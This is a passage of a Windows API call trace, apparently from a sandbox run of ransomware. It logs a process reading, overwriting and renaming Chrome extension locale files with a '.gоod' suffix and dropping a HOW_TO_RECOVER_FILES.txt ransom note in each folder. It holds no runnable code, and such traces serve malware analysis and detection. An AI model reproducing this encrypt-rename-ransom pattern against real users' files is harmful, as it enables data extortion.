data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\is\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x209ebdb0 | out: lpFileInformation=0x209ebdb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe855dbac, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe855dae2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x91d9390f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0251.047] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebc90) returned 1 [0251.047] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\is\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\is\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\is\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\is\\messages.json.gоod")) returned 1 [0251.048] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\is\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x209eb9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\is\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0251.048] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebed0) returned 1 [0251.048] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\is\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\is\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x824 [0251.049] GetFileType (hFile=0x824) returned 0x1 [0251.049] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe40) returned 1 [0251.049] GetFileType (hFile=0x824) returned 0x1 [0251.049] WriteFile (in: hFile=0x824, lpBuffer=0x3a52088*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x209ebf98, lpOverlapped=0x0 | out: lpBuffer=0x3a52088*, lpNumberOfBytesWritten=0x209ebf98*=0x5d0, lpOverlapped=0x0) returned 1 [0251.050] CloseHandle (hObject=0x824) returned 1 [0251.059] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0251.060] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\it", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\it", lpFilePart=0x0) returned 0x7b [0251.060] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\it\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe85650da, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85677ed, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe85677ed, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134af80 [0251.060] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe85650da, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85677ed, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe85677ed, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0251.060] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe85677ed, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8569e32, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b49f04, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0251.060] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0251.060] FindClose (in: hFindFile=0x134af80 | out: hFindFile=0x134af80) returned 1 [0251.060] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0251.060] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0251.061] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0251.061] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\it", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\it", lpFilePart=0x0) returned 0x7b [0251.061] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\it\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe85650da, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85677ed, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe85677ed, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134abc0 [0251.061] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe85650da, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85677ed, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe85677ed, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0251.061] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe85677ed, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8569e32, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b49f04, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0251.061] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe85677ed, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8569e32, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b49f04, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0251.061] FindClose (in: hFindFile=0x134abc0 | out: hFindFile=0x134abc0) returned 1 [0251.061] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0251.061] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0251.062] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\it\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\it\\messages.json", lpFilePart=0x0) returned 0x89 [0251.062] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebd10) returned 1 [0251.062] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\it\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\it\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x3881710 | out: lpFileInformation=0x3881710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe85677ed, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8569e32, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b49f04, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xb6)) returned 1 [0251.062] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebcd0) returned 1 [0251.062] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\it\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\it\\messages.json", lpFilePart=0x0) returned 0x89 [0251.062] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0251.062] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\it\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\it\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0251.062] GetFileType (hFile=0x824) returned 0x1 [0251.062] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0251.062] GetFileType (hFile=0x824) returned 0x1 [0251.062] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x209ebd68 | out: lpFileSizeHigh=0x209ebd68*=0x0) returned 0xb6 [0251.062] ReadFile (in: hFile=0x824, lpBuffer=0x3881b80, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209ebc98, lpOverlapped=0x0 | out: lpBuffer=0x3881b80*, lpNumberOfBytesRead=0x209ebc98*=0xb6, lpOverlapped=0x0) returned 1 [0251.063] CloseHandle (hObject=0x824) returned 1 [0251.404] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\it\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\it\\messages.json", lpFilePart=0x0) returned 0x89 [0251.404] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0251.404] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\it\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\it\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0251.405] GetFileType (hFile=0x808) returned 0x1 [0251.405] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0251.405] GetFileType (hFile=0x808) returned 0x1 [0251.405] WriteFile (in: hFile=0x808, lpBuffer=0x39ca898*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x209ebba8, lpOverlapped=0x0 | out: lpBuffer=0x39ca898*, lpNumberOfBytesWritten=0x209ebba8*=0xc0, lpOverlapped=0x0) returned 1 [0251.405] CloseHandle (hObject=0x808) returned 1 [0251.406] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\it\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\it\\messages.json", lpFilePart=0x0) returned 0x89 [0251.406] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\it\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\it\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0251.406] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebcd0) returned 1 [0251.406] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\it\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\it\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x209ebdb0 | out: lpFileInformation=0x209ebdb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe85677ed, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8569e32, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x92100f9d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0251.406] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebc90) returned 1 [0251.406] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\it\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\it\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\it\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\it\\messages.json.gоod")) returned 1 [0251.407] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\it\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x209eb9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\it\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0251.407] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebed0) returned 1 [0251.407] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\it\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\it\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0251.408] GetFileType (hFile=0x808) returned 0x1 [0251.408] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe40) returned 1 [0251.408] GetFileType (hFile=0x808) returned 0x1 [0251.408] WriteFile (in: hFile=0x808, lpBuffer=0x39ce1d0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x209ebf98, lpOverlapped=0x0 | out: lpBuffer=0x39ce1d0*, lpNumberOfBytesWritten=0x209ebf98*=0x5d0, lpOverlapped=0x0) returned 1 [0251.409] CloseHandle (hObject=0x808) returned 1 [0251.409] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0251.409] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\iw", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\iw", lpFilePart=0x0) returned 0x7b [0251.409] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\iw\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe856ed1f, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8573b41, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8573b41, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ae60 [0251.410] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe856ed1f, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8573b41, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8573b41, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0251.410] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8573b41, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8573a72, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0251.410] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0251.411] FindClose (in: hFindFile=0x134ae60 | out: hFindFile=0x134ae60) returned 1 [0251.411] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0251.411] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0251.411] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0251.411] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\iw", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\iw", lpFilePart=0x0) returned 0x7b [0251.411] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\iw\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe856ed1f, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8573b41, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8573b41, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134af80 [0251.411] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe856ed1f, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8573b41, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8573b41, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0251.411] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8573b41, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8573a72, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0251.411] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8573b41, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8573a72, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0251.411] FindClose (in: hFindFile=0x134af80 | out: hFindFile=0x134af80) returned 1 [0251.412] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0251.412] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0251.412] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\iw\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\iw\\messages.json", lpFilePart=0x0) returned 0x89 [0251.412] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebd10) returned 1 [0251.412] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\iw\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\iw\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x39df268 | out: lpFileInformation=0x39df268*(dwFileAttributes=0x20, 